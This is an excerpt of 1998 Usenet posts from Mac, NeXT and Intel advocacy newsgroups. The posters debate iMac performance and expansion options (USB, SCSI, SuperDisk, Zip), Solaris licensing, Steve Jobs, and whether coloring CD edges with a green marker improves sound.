Date: Mon, 17 Aug 1998 07:43:16 -0400
Organization: UN
Message-ID: <uthant-1708980743160001@user-38lcakk.dialup.mindspring.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r8n9m$drb$1@mailhost.sign-tronic.dk>
In article <6r8n9m$drb$1@mailhost.sign-tronic.dk>, erik@arbat.com wrote:
> In comp.sys.intel George Graves <gmgraves@slip.net> wrote:
> >
> > It helped, believe it or not, in a number of cases. I don't know where
my green
> > marker is now, but when CDs were relatively new, it did wonders. I was part
> > of several double-blind tests which proved conclusively that the green
marker
> > changed the sound -often for the better.
>
> You have a URL or a reference to this?
>
> Why didn't they just measure the error rate, instead?
>
> --
> Erik Corry
I have seen reports where the error rate was measured before and after
application of the CD Stoplight. No change. Nothing. But people still
claim to hear a difference. If the same bits reach the DA converter how
can there be any difference in sound????
Must be the FM principle. (fuckin' magic)
U
--
email me at:
denash@mindspring.com
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: 16 Aug 1998 16:39:47 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6r720j$78n@newsb.netnews.att.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net>
Originator: gupta@tlctest
Steve Sullivan <macghod@concentric.net> wrote:
>
>The mac is starting to REALLY take off, we are heading for awesome times,
>and yet now we have to deal with a scummy lieing ceo who is telling lies
>as bad as intel.
As though a totally honest, pure-as-driven-snow CEO would make any headway
against Intel. When you are a small player, you play the game by rules that
others have defined. In this case, Intel and Microsoft.
-arun gupta
From: "Stormer" <stormer@nospam.mediaone.net>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 17 Aug 1998 08:02:31 -0400
Organization: MediaOne -=- Northeast Region
Message-ID: <6r967u$a27$1@lwnws01.ne.highway1.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net>
Hmmm... faster to set up?
Depends on who does it... Only takes me a few seconds to set up my PC.
>How fast you can get the computer set up. The Mac wins.
>How fast a newbie can learn the system. The Mac wins.
Really? I've been teaching PC's for years... Prove this fact please. I can
teach a "newbie" to use linux right down to recompliling a kernel in less
than a full day. Or teach a newbie to use Win9x in less than an hour. Hell
you cannot even use anything BUT the Mac OS on the iMac.
>How fast you can get your work done. The Mac wins.
Hmmm.. OK, run AutoCAD on your Mac! Whoops, Autodesk does not support Mac
anymore. Run SoftImage on your Mac, whoops no mac support there either. Run
3d Studio Max on your Mac, whoops no support there either. Looks like
NOTHING I run works on a Mac! Does not win at all...
>There are lots of benchmarks. Calling Jobs a liar because he chose >a
benchmark that you personally don't like is a pretty clear indication >of
your bias.
There is NO accurate benchmark out there for comparing two COMPLETLY
different OS's. Hell if I play Quake on by Intel box with a Voodoo 1 card
I'm getting almost 90 fps in 800x600 mode. The same thing on the Mac with a
Voodoo 1 card I am LUCKY to get 25 fps. Looks like the Intel box beats it
silly.
Please, get back to me with REAL facts not Jobs trying to save his company.
From: "Stormer" <stormer@nospam.mediaone.net>
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
Date: Mon, 17 Aug 1998 08:04:10 -0400
Organization: MediaOne -=- Northeast Region
Message-ID: <6r96b0$a3q$1@lwnws01.ne.highway1.com>
References: <35D777E5.C9A694E3@shinbiro.com>
Gee guess what, there are NO removeable media products available to the iMac
as of yet...
Brian Cho <chobros@shinbiro.com> wrote in message
35D777E5.C9A694E3@shinbiro.com...
>Is there a port to hook up a Zip drive? or a Spark Drive (only heard
>about that from my friend). Maybe iMac doesn't have a floppy, so people
>will just go out and hook up these 100MB-1GB drives?
>
Date: Mon, 17 Aug 1998 08:25:12 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
Message-ID: <joe.ragosta-1708980825130001@wil51.dol.net>
References: <35D777E5.C9A694E3@shinbiro.com> <scjennings-1608981741190001@ppp011.creative.net>
In article <scjennings-1608981741190001@ppp011.creative.net>,
scjennings@NOSPAMprowillen.com (Sam Jennings) wrote:
> In article <35D777E5.C9A694E3@shinbiro.com>, Brian Cho
> <chobros@shinbiro.com> wrote:
>
> > Is there a port to hook up a Zip drive? or a Spark Drive (only heard
> > about that from my friend). Maybe iMac doesn't have a floppy, so people
> > will just go out and hook up these 100MB-1GB drives?
>
> Iomega has announced plans to sell a Zip with a USB connection that will
> work with an iMac.
>
> Imation also is making a "Superdrive" that will read and write ordinary
> floppy disks, plus their "Superdisks" which will hold 120mb. So this would
> give an iMac the ability to read floppies and a Zip-like large-capacity
> disk.
>
> I wonder if Superdisk will catch on?
>
I suspect that this is going to be the push Imation needs to really give
Zip a run for its money. The Zip drives aren't expected until winter. That
gives SuperDisk a big head start.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 17 Aug 1998 08:28:59 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
Message-ID: <joe.ragosta-1708980828590001@wil51.dol.net>
References: <35D777E5.C9A694E3@shinbiro.com> <scjennings-1608981741190001@ppp011.creative.net> <6r86kc$p41@newsops.execpc.com>
In article <6r86kc$p41@newsops.execpc.com>, nospam@poop.com (Sandman) wrote:
> In article <scjennings-1608981741190001@ppp011.creative.net>,
> scjennings@NOSPAMprowillen.com (Sam Jennings) wrote:
>
> > In article <35D777E5.C9A694E3@shinbiro.com>, Brian Cho
> > <chobros@shinbiro.com> wrote:
> >
> > > Is there a port to hook up a Zip drive? or a Spark Drive (only heard
> > > about that from my friend). Maybe iMac doesn't have a floppy, so people
> > > will just go out and hook up these 100MB-1GB drives?
> >
> > Iomega has announced plans to sell a Zip with a USB connection that will
> > work with an iMac.
> >
> > Imation also is making a "Superdrive" that will read and write ordinary
> > floppy disks, plus their "Superdisks" which will hold 120mb. So this would
> > give an iMac the ability to read floppies and a Zip-like large-capacity
> > disk.
> >
> > I wonder if Superdisk will catch on?
> >
>
> How about a USB-SCSI converter? Is there one in the works or what? They
> can't ignore it, I'd really like to use my CD-R drive if I were to
> purchase an iMac...and if not, hopefully someone will produce a burner w/
> a USB connection...
USB-SCSI? No thanks. There's an Ethernet-SCSI bridge that's not going to
limit SCSI to 1.25 MB/sec.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 17 Aug 1998 08:28:15 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
Message-ID: <joe.ragosta-1708980828150001@wil51.dol.net>
References: <35D777E5.C9A694E3@shinbiro.com> <scjennings-1608981741190001@ppp011.creative.net> <3655ab70.223679192@news.supernews.com> <35D7C467.4370@micron.net> <6r8jgg$m31$1@news.iswest.net> <6r8k37$mec$1@news.iswest.net>
In article <6r8k37$mec$1@news.iswest.net>, "Steven M. Scharf"
<scharf@nospam.grin.net> wrote:
> Steven M. Scharf wrote in message <6r8jgg$m31$1@news.iswest.net>...
> >It is called HiFD. See
>
> >http://www.pcworld.com/news/daily/data/1097/971014163458.html
>
>
> Also see:
>
> http://www.teac.com/dsp/fd/fd_hifd.html
>
> Alps will also be making them.
>
> Note that the first ones will be IDE only. I'm sure if they decide to make
> external
> units that they will do a SCSI version and eventually a 1394 version.
>
> However observer that even if all the USB bandwidth were used for just a
> HiFD drive, the USB interface would still be too slow to keep up with the
> drive. USB is simply not designed for high speed peripherals like disk
> drives
> (1394 is). If Apple REALLY wanted to be forward looking they would have
> put a Device Bay slot on the iMac.
USB is slow for a fast drive. But for the HiFD, it's not going to slow you
down much. The HiFD has a maximum throughput of 3 MB/sec, IIRC. USB is
1.25 MB/sec. If you were running your HiFD near its maximum, this would be
a major hit. But most of the time it's probably not going to be that
noticeable in real life. Hard drives are, of course, another matter.
>
> Of all the drawbacks of the iMac, the lack of a SCSI or 1394 port is the
> most serious. You can get around the lack of a floppy drive, you can
> replace the keyboard and mouse, you can even connect a bigger monitor,
> but you can't easily add a high speed interface (I suppose there is a way
> you
> could go through the 10/100 port but it is convoluted and expensive). You
> gotta
> think that Apple intentionally did this so they wouldn't hurt sales of their
> more
> expensive machines. I guess I understand this mindset, but the result will
> be sending people to PCs, not to more expensive Macs.
There's a SCSI/Ethernet bridge. Check Apple's iMac page, but I think it was $99.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Sun, 16 Aug 1998 13:25:08 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net>
In article <35D72295.1D53@bellatlantic.net>, dutky@bellatlantic.net wrote:
> Concerning the sound quality of audio CDs, Honathan Hendry
> wrote (possibly sarcastic):
> > You need to use a green marker on the edge of the CD.
>
> to which George Graves responded:
> > It helped, believe it or not ... I was part of several
> > double-blind tests which proved conclusively that the
> > green marker changed the sound - often for the better.
>
> and Jacob Fuller followed up with:
> > What exactly does the green marker do?
>
> If the green marker were applied to the edge of the CD
> it could easily change the amount of light scattered
> around on the inside of the CD plastic. The scattered
> light could be interfering with the CD players ability
> to identify the binary data on the platter, and the green
> boundry at the edge could be reducing the amount of scatterd
> light (the CD use either red or infrared LED lasers, which
> would be absorbed by a green filter).
>
> Now, I have my doubts about this double-blind test, however,
> since Mr. Graves says that "the green marker changed the
> sound - often for the better" I deduce that the sound also
> sometimes changed for the worse.
That is partially corect. It also, in some cases, changed the
sound not at all.
It is easy to see how human
> tests could be skewed to favor only changes for the better,
> even in a double-blind test. If the test subjects were prone
> to ignore changes in the sound quality for the worse, then
> the test would show an improvement, with some of the green
> marked CDs showing little change (as judged by the test
> subjects) and other showing improvement.
But since the instances in which no improvement was heard, or
in which the resultant sound was actually degraded by the pen
WERE noted, your scenario clearly did NOT occur.
George Graves
Date: Mon, 17 Aug 1998 09:24:01 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Message-ID: <joe.ragosta-1708980924010001@wil51.dol.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com>
In article <6r967u$a27$1@lwnws01.ne.highway1.com>, "Stormer"
<stormer@nospam.mediaone.net> wrote:
> Hmmm... faster to set up?
>
> Depends on who does it... Only takes me a few seconds to set up my PC.
> >How fast you can get the computer set up. The Mac wins.
>
> >How fast a newbie can learn the system. The Mac wins.
>
> Really? I've been teaching PC's for years... Prove this fact please. I can
> teach a "newbie" to use linux right down to recompliling a kernel in less
> than a full day. Or teach a newbie to use Win9x in less than an hour. Hell
> you cannot even use anything BUT the Mac OS on the iMac.
Ease of use. Covered extensively on my web site with URLs.
>
> >How fast you can get your work done. The Mac wins.
>
> Hmmm.. OK, run AutoCAD on your Mac! Whoops, Autodesk does not support Mac
> anymore. Run SoftImage on your Mac, whoops no mac support there either. Run
> 3d Studio Max on your Mac, whoops no support there either. Looks like
> NOTHING I run works on a Mac! Does not win at all...
Productivity. Covered extensively on my web site with URLs.
>
> >There are lots of benchmarks. Calling Jobs a liar because he chose >a
> benchmark that you personally don't like is a pretty clear indication >of
> your bias.
>
> There is NO accurate benchmark out there for comparing two COMPLETLY
> different OS's. Hell if I play Quake on by Intel box with a Voodoo 1 card
> I'm getting almost 90 fps in 800x600 mode. The same thing on the Mac with a
> Voodoo 1 card I am LUCKY to get 25 fps. Looks like the Intel box beats it
> silly.
Which was exactly my point. Steve was calling Jobs a liar because he
talked about Bytemarks. That's like saying you are a liar for talking
about Quake. In fact, neither of you is lying. At WORST, you are
selectively choosing information to support your bias. That's not a lie.
Benchmarks are a tool. The only really valid benchmark is to run the
applications that you plan to run on the computer and do the things you'll
normally be doing. Barring that, you try to compare a wide range of
benchmarks to get an overall picture of performance--which is why my web
page has a wide range of benchmarking information.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "William Frisbee" <bfrisbee@fuckspam.webengine-db.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 17 Aug 1998 09:59:42 -0400
Organization: Shore.Net/Eco Software, Inc; (info@shore.net)
Message-ID: <6r9cu3$n76@fridge.shore.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net>
>Ease of use. Covered extensively on my web site with URLs.
Ease of use? Ease of use involves many things, like being able to get
hardware for a Mac. Try changing your sound card or your video card. There
are not very many available for the Mac. On the Intel side of the world I
can get thousands of video cards and hundreds of sound cards, not to mention
video capture, tuners, MPEG converters yadda yadda yadda, that is EASE of
use to me. Something goes wrong or outta date, I go down to my local
hardware store and pick it up and slap it in. No problems, no issues....
>Productivity. Covered extensively on my web site with URLs.
AutoCAD, 3d Studio Max and SoftImage are all I use. Are ANY of these
available on a Mac? Nope I think NOT. Productivity is only good if it helps
the user. Me in this case. Macs do not produce anything for me. Period.
>Which was exactly my point. Steve was calling Jobs a liar because >he
talked about Bytemarks. That's like saying you are a liar for >talking about
Quake. In fact, neither of you is lying. At WORST, you >are selectively
choosing information to support your bias. That's not >a lie. Benchmarks are
a tool. The only really valid benchmark is to >run the applications that you
plan to run on the computer and do the >things you'll normally be doing.
Barring that, you try to compare a >wide range of benchmarks to get an
overall picture of performance-->which is why my web page has a wide range
of benchmarking >information.
Ok... lets see all I care about really is rendering speed and OpenGL
(sometimes DirectX (sorry guys)) preformace. That is IT. So the Mac looses
big time. The OpenGL performance on even the fastest Mac (366 with the G3)
blows chunks (real professional I know, but I had no other term) compared to
my PII's under Linux or NT.
Stormer
From: nojunkhattonr@aug.com (Rick)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Sun, 16 Aug 1998 13:01:09 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <19980816130109439906@pm2-2-04.aug.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
> There are lots of benchmarks. Calling Jobs a liar because he chose a
> benchmark that you personally don't like is a pretty clear indication of
> your bias.
Naw.. Jobs lies about lots of stuff. Most people are very happy he is
back at Apple. Personally, I think the Apple board should have given
Amelio the support he needed for the time he told them he needed.
--
Remove nojunk from my email address to reply by email.
Date: Mon, 17 Aug 1998 10:55:30 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
Message-ID: <joe.ragosta-1708981055300001@wil87.dol.net>
References: <35D777E5.C9A694E3@shinbiro.com> <6r8jgg$m31$1@news.iswest.net> <6r8k37$mec$1@news.iswest.net> <joe.ragosta-1708980828150001@wil51.dol.net> <6r9eem$19c$1@bartlet.df.lth.se>
In article <6r9eem$19c$1@bartlet.df.lth.se>, cb@bartlet.df.lth.se
(Christian Brunschen) wrote:
> In article <joe.ragosta-1708980828150001@wil51.dol.net>,
> Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> >There's a SCSI/Ethernet bridge. Check Apple's iMac page, but I think it
> >was $99.
>
> Where ? I can't find it. Maybe I'm blind :) Could you give a URL ?
You're right--it's not on Apple's iMac page.
I'll have to dig for it. I remember seeing a press release about it a
couple of weeks ago.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: ericb@pobox.com (Eric Bennett)
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
Date: Mon, 17 Aug 1998 11:40:11 -0500
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1708981140120001@r4149.resnet.cornell.edu>
References: <35D777E5.C9A694E3@shinbiro.com> <scjennings-1608981741190001@ppp011.creative.net> <6r86kc$p41@newsops.execpc.com> <joe.ragosta-1708980828590001@wil51.dol.net>
In article <joe.ragosta-1708980828590001@wil51.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> USB-SCSI? No thanks. There's an Ethernet-SCSI bridge that's not going to
> limit SCSI to 1.25 MB/sec.
I case you're forgetting, USB is 12 mbit/sec and standard 10bt ethernet is
10 mbit/sec, so USB is faster. I know the iMac supports 100bt, but does
the ethernet/SCSI bridge support that, or just 10bt?
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
What's good for Standard Oil is good for Microsoft.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Mon, 17 Aug 1998 10:39:27 -0500
Organization: Ericsson North America Inc.
Message-ID: <35D84EAF.78380DC3@ericsson.com>
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com> <35D0BB31.C59D68BD@ericsson.com>
<j37A1.21801$7k7.20104944@news.rdc1.sdca.home.com> <35D1C357.7B580353@ericsson.com>
<KpuA1.22574$7k7.20807120@news.rdc1.sdca.home.com> <35D31040.A87A3529@ericsson.com>
<oKIA1.23084$7k7.21198435@news.rdc1.sdca.home.com> <35D46624.9BCFFA16@ericsson.com> <TyaB1.62$7_3.312830@news.rdc1.sdca.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
rr6013@yahoo.com wrote:
> > > Solaris is free...
> >
> > No, it's not!
>
> OK, I'm going to get my free Solaris OS you can pay for yours :-)
Then you must be an academic, personal, or other non-commercial user.
That's good for you. Solaris is free for you. But I thought we were
talking about enterprises.
> They've got good API's to "access" drivers, databases, communications, and
> cross-platform OS's. DriverKit, EOF, WebObjects and IB are core elements in
> Apple's technology foundation moving forward into the next Century.
That will be great when drivers begin showing up. It's meaningless right
now. These things don't demonstrate an ability for Apple to bring about
integration between software and hardware in the current market, period.
> Ahh, LEGOs envy... Apple lops off a "ton" of customer support calls and user
> dissatisfaction with a minimum configuration iMac. You'll probably like
> their hardware/software integration once they start marketing it LEGOS style.
Well, no, Rex. I couldn't care less, it has nothing to do with what I
said. Is this just deflection or was my refutation so stupid it wasn't
worth meeting head on?
> Nailed that one. Absolutely, the most painful, exasperating marketing flop
> I've witnessed.
Marketing nothing. Price and performance.
> You're a little further removed from the sales cycle than I assumed. Or your
> industry is in its infancy where in-house custom solutions are more
> normative.
Telecommunications? Hm. Ericsson was founded in 1850, if I remember
correctly. What's your industry, Rex?
> > a) a package deal with the new NeXT technology
> > b) Leader of the Week
>
> Answer: A
Then Jobs is essential to the NeXT technology? Jobs cannot be separated
without irreparable harm to the $400 million purchase? Just asking.
> > a) Think Different
> > b) back to basics: niche market, shrinking customer base
>
> Answer: A But "B" was it 6 mos. ago for me too.
I never caught onto the "Think Different" bit; it's a totally different
wavelength, I suppose. Still, you can't argue with the continuing
visible presence of B, so I can't help wondering about this answer.
> > a) invigorating engineering teams
> > b) making speeches at hyped trade shows
>
> Answer: BOTH A&B
We know B is true, of course.
> > a) using NeXT technology to improve Apple's products and, hopefully, its
> > bottom line
> > b) whatever it takes to stay in business and remain in power
>
> Answer: Neither Its the "computer for the rest of us"
Is this debate or rhetoric? I was hoping we could communicate like
adults. I'm sorry if that sounds crass, but you're not a marketer and
I'm not a consumer audience. Don't feed trade show lines and TV ads into
your newsposter hoping they'll pull on heartstrings. If Apple were
creating the "computer for the rest of us" the rest of us would be using
it. Either Apple's failing or the "rest of us" is a smaller and smaller
group of people every day. In any case, it doesn't particularly speak to
the question, except, peripherally, to demonstrate that it isn't A.
> April '84 bought 2 Macs and built a $$million/yr business on them. iMac
> revisits the proposition that the original Mac128 was a computer for the rest
> of us. I think you might have been in school then, though as were many, many
> others.
Great. Credentials established, what new customers will the iMac be
targeting?
> Stupid isn't what I said. Many people have just found the Internet and that
> surprises me. That you and I have been on it for the past 8 -10 years is
> irrelevent. We aren't iMac customers Apple is targeting. That these new
> Internet users can experience the Web with 250Mhz computers for ~ $1300 when
> I paid ~ $13,000 for 25 Mhz is phenomenal and no piece of shit by any
> measure.
I have a larger RAM store than my first hard drive and I paid half as
much for the RAM. Big whoop. Time goes on, the market changes. Outdated
comparisons don't do anything to justify silly business practices. Andy
Groves used to compare himself to his competitors 12 months down the
line. You wonder what makes Intel competitive, or no?
> The point I feebly attempted to make is the DIS-connect between "speed" and
> "price" for new users.
Like I said, the market changes. I have a friend who paid $1700 for a
350 MHz Pentium II machine. For the extra four hundred dollars he got
some nice extras and an expandable box. Why is there a processor glut?
Why is the price of performance falling? Why are high-margin vendors
falling by the wayside? Performance has become pervasive. There is
nothing unique or interesting about this. Every industry hits this point
at some stage of development. What makes Jobs think that computers are
special in this regard?
> This surprised me and reinforces the design criteria
> Apple chose for the iMac introduction machines. Apple has made a better
> business strategy out of meeting the needs of a segment of the population by
> not over engineering or over pricing their product.
It might be better to Think Similar for once and build the machine for
which 95% of the population has demonstrated a clear desire. Some people
have to do it the hard way, I guess.
> We can revisit this thread if they turn out to be a piece of shit, of course
OK. Might happen. I drooled on the pages of a MacWarehouse featuring
117MHz PPC 603 Powerbooks, once. These guys turned out to be the
Exploding Battery Specials, if you will remember.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Mon, 17 Aug 1998 10:42:40 -0500
Organization: Ericsson North America Inc.
Message-ID: <35D84F6F.DAED08CD@ericsson.com>
References: <35D45C80.38A0C880@ericsson.com> <6r1o4e$le9@shelob.afs.com> <35D467CB.1793C86C@ericsson.com> <6r42tl$fht$1@lwnws01.ne.highway1.com>
Mime-Version: 1.0
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John Kheit wrote:
> I'm not sure that's a fair comparison. MacOSX, as far as we know, is macOSX
> server, plus some libraries from compatibility, i.e. carbon. Even if they
> are as STUPID as they seem, and remove the command line and unix utilities
> (the latter being incredibly daft), it still will have a better core and
> underlying os layer than NT.
Then that's something of a trade-off, one that won't be particularly
meaningful to the general population, especially given that MacOS X will
be restricted to a single, tiny hardware base, anyway. Other than that,
MacOS X has almost nothing to recommend it over NT. NT has many features
to recommend it over MacOS X. I don't think the market at large will
mistake this.
MJP
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 17 Aug 1998 09:41:18 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1708980941180001@sf-usr1-49-177.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r8n9m$drb$1@mailhost.sign-tronic.dk> <uthant-1708980743160001@user-38lcakk.dialup.mindspring.com>
In article <uthant-1708980743160001@user-38lcakk.dialup.mindspring.com>,
uthant@un.org (U Thant) wrote:
> In article <6r8n9m$drb$1@mailhost.sign-tronic.dk>, erik@arbat.com wrote:
>
> > In comp.sys.intel George Graves <gmgraves@slip.net> wrote:
> > >
> > > It helped, believe it or not, in a number of cases. I don't know where
> my green
> > > marker is now, but when CDs were relatively new, it did wonders. I
was part
> > > of several double-blind tests which proved conclusively that the green
> marker
> > > changed the sound -often for the better.
> >
> > You have a URL or a reference to this?
> >
> > Why didn't they just measure the error rate, instead?
> >
> > --
> > Erik Corry
>
> I have seen reports where the error rate was measured before and after
> application of the CD Stoplight. No change. Nothing. But people still
> claim to hear a difference. If the same bits reach the DA converter how
> can there be any difference in sound????
>
> Must be the FM principle. (fuckin' magic)
You got me. But that was our experience at Stereophile as well. You could
certainly HEAR the difference (sometimes spectacularly), but you could
not measure it (probably because people were measuring the wrong thing.
After all, if one measures only the height of a 6 foot thin person and a 6
foot fat person, that measurement will show no difference at all between
the two.).
George Graves
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
Date: 17 Aug 1998 16:21:49 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6r9lat$sc9$2@sun27.hrz.tu-darmstadt.de>
References: <35D777E5.C9A694E3@shinbiro.com> <6r8jgg$m31$1@news.iswest.net> <6r8k37$mec$1@news.iswest.net> <joe.ragosta-1708980828150001@wil51.dol.net> <6r9eem$19c$1@bartlet.df.lth.se> <joe.ragosta-1708981055300001@wil87.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article <6r9eem$19c$1@bartlet.df.lth.se>, cb@bartlet.df.lth.se
>(Christian Brunschen) wrote:
>
>> In article <joe.ragosta-1708980828150001@wil51.dol.net>,
>> Joe Ragosta <joe.ragosta@dol.net> wrote:
>>
>> >There's a SCSI/Ethernet bridge. Check Apple's iMac page, but I think it
>> >was $99.
>>
>> Where ? I can't find it. Maybe I'm blind :) Could you give a URL ?
>
>You're right--it's not on Apple's iMac page.
>
>I'll have to dig for it. I remember seeing a press release about it a
>couple of weeks ago.
I'm pretty sure it was on mcnn, about two week ago. The price range
seems about right, too.
HTH, Chris (Newsgroups edited)
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: "Brian Quinlan" <quinlan@intergate.bc.ca>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
